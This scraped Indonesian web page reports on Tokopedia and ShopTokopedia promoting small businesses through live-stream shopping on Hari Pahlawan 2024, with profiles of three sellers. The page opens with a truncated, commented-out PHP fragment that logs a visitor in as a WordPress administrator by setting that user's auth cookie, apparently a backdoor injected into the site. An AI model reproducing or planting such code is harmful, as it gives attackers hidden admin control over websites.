user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */
BizNews
Rayakan Hari Pahlawan, Tokopedia dan ShopTokopedia Dukung Lebih Banyak UMKM Naik Kelas

10 Nov 2024



Merayakan Hari Pahlawan 2024 tidak hanya mengenang para pahlawan yang gugur di medan perang, tapi juga mendukung para pahlawan masa kini yang memiliki peran penting di masyarakat, seperti halnya UMKM.

Data pemerintah mencatat UMKM berkontribusi lebih dari 60% terhadap PDB Indonesia. UMKM bisa disebut sebagai pahlawan yang menggerakkan perekonomian negara.

Membawa semangat nasionalisme, Tokopedia dan ShopTokopedia terus mendorong UMKM lokal untuk dapat berjaya di negeri sendiri hingga mampu berkontribusi terhadap perekonomian nasional. Salah satunya lewat pemanfaatan teknologi, dengan menghadirkan berbagai kampanye dan fitur, termasuk melalui live streaming, yang belakangan banyak mendatangkan konsumen bagi penggunanya. 

Riset Indonesia E-commerce Trends 2023 yang berfokus pada tren konsumen pada semester II 2023 mencatat sebanyak 87% responden mengaku pernah menonton live streaming dan 77% dari responden melakukan transaksi via fitur live streaming

Menurut Aditia Grasio Nelwan, Head of Communications Tokopedia dan TikTok E-commerce, fitur live streaming di ShopTokopedia turut mendorong pertumbuhan jumlah penjual dan transaksi belanja online. Buktinya, sebanyak 60% konten promosi di TikTok dukung produk lokal di ShopTokopedia. 

"Pelaku usaha yang melakukan live shopping di ShopTokopedia rata-rata mengalami kenaikan penjualan 7 kali lipat jika dibandingkan dengan penjual lainnya yang tidak melakukan live shopping. Selama kuartal III 2024, lima kategori terlaris saat live streaming, yaitu Kecantikan dan Perawatan Tubuh, Fashion Perempuan, Muslim Fashion, Fashion Pria, serta HP dan Elektronik," ungkap Aditia.

Para pembicara di konferensi pers virtual Tokopedia dan ShopTokopedia


Salah satu UMKM yang merasakan manfaat dari live shopping di aplikasi TikTok adalah Indiana Sunita, Founder Emak CW asal Pekanbaru. Emak CW memproduksi camilan kripik berbahan dasar singkong ulin. 

Sejak ShopTokopedia hadir di aplikasi TikTok, Emak CW bisa mendapatkan ribuan orderan lewat ShopTokopedia dengan omzet hingga puluhan juta. Sebelum rutin live streaming di Tik Tok selama 1-2 jam sehari, Emak CW sempat menghadapi kesulitan dalam memasarkan produk. Namun, ia kemudian mengubah strategi bisnisnya dengan fokus memanfaatkan penjualan online hingga membentuk tim sesuai kebutuhan pemasaran dan produksi. 

Advertisement
"Awalnya kami mengolah sekitar 50 kg singkong per hari dengan modal awal Rp30 juta, kini kami mampu mengolah hingga 500 kg singkong per hari. Variannya pun semakin beragam, dari 7 varian menjadi 19 varian camilan dengan berbagai rasa," cerita Indiana, yang kini mempekerjakan 45 karyawan yang mayoritas anak muda dari berbagai latar belakang, termasuk keluarga broken home.

UMKM asal Bandung, Nifty Twice, dengan produk hair grooming (barbershop dan grooming kits), juga memanfaatkan fitur live streaming untuk meningkatkan brand awareness dan menyentuh pasar lebih luas. 

"Melalui fitur live streaming ShopTokopedia, produk Nifty Twice bisa menjangkau berbagai wilayah di Indonesia, termasuk Aceh, Sulawesi, dan Kalimantan. Kami juga kerap berkolaborasi dengan creator affiliate untuk mempromosikan produk. Dampaknya sebanyak 50% penjualan kami berasal dari penjualan creator affiliate, bahkan omzet
bulanan kami bisa menyentuh Rp100 juta lewat ShopTokopedia," kataa Yudi Achmad Mashudi, yang membangun bisnis Nifty Twice bersama kedua adiknya. 

Selama membangun Nifty Twice, Yudi harus menghadapi persaingan bisnis seperti kompetitor dan plagiarisme produk. "Kami terus berinovasi dalam mengembangkan produk agar brand image Nifty Twice melekat di masyarakat. Di samping itu, pemanfaatan platform seperti Tokopedia dan ShopTokopedia terus dimaksimalkan untuk meningkatkan penjualan lewat berbagai kampanye dan fitur, seperti Beli Lokal dan Promo Guncang," ungkap Yudi.

Selain Emak CW dan Nifty Twice, Toko Sulawesi Central yang didirikan Harmin Alfis asal Makassar juga optimistis berjualan makanan khas Makassar, termasuk sirop markisa, sarabba, kopi Toraja, kue bagea, dan kue durian secara online di Tokopedia. 

"Melihat hasil penjualan 80% berasal dari Pulau Jawa, Sumatra, hingga Papua, akhirnya saya putuskan untuk memperkaya produk yang dijual, sehingga menjual produk khas Sulawesi berdasarkan referensi pelanggan," ucap Harmin, yang juga menjual produk kategori Kerajinan Tangan. Ia menggandeng perajin lokal yang terkurasi, dan telah bekerja sama dengan lebih dari 30 UMKM.

"Peringatan Hari Pahlawan 2024 yang bertema Teladani Pahlawanmu Cintai Negerimu menginspirasi Tokopedia dan ShopTokopedia untuk terus membantu sebanyak-banyaknya pelaku usaha di Indonesia dari berbagai skala bisnis untuk dapat menjangkau pasar lebih luas dan makin menjadi pilihan masyarakat, seperti Nifty Twice (Bandung), Sulawesi Central (Makassar) dan Emak CW (Pekanbaru. Bagi Tokopedia dan ShopTokopedia, ketiga UMKM tersebut adalah beberapa contoh dari jutaan penjual, sekaligus pahlawan yang menggerakkan perekonomian negara, dengan memberdayakan masyarakat di sekitar wilayah mereka dalam menjalankan usaha mereka," kata Aditia. (f

Baca juga:
Hari Pangan Sedunia 2024, Ini 5 Tips Kurangi Sampah Sisa Makanan
Ide Kado Natal dan Tahun Baru Buat Momen Spesial Makin Ceria
Taman Brightspot 2024, Piknik Inspiratif di Jaksel Bersama Jenama Lokal

 

Faunda Liswijayanti


Topic

#belanjaonline, #umkm, #wirausaha

 



polling
Seberapa Korea Anda?

Hallyu wave atau gelombang Korea masih terus 'mengalir' di Indonesia. Penggemar KDrama, Kpop di Indonesia termasuk salah satu yang paling besar jumlahnya di dunia. Lalu seberapa Korea Anda?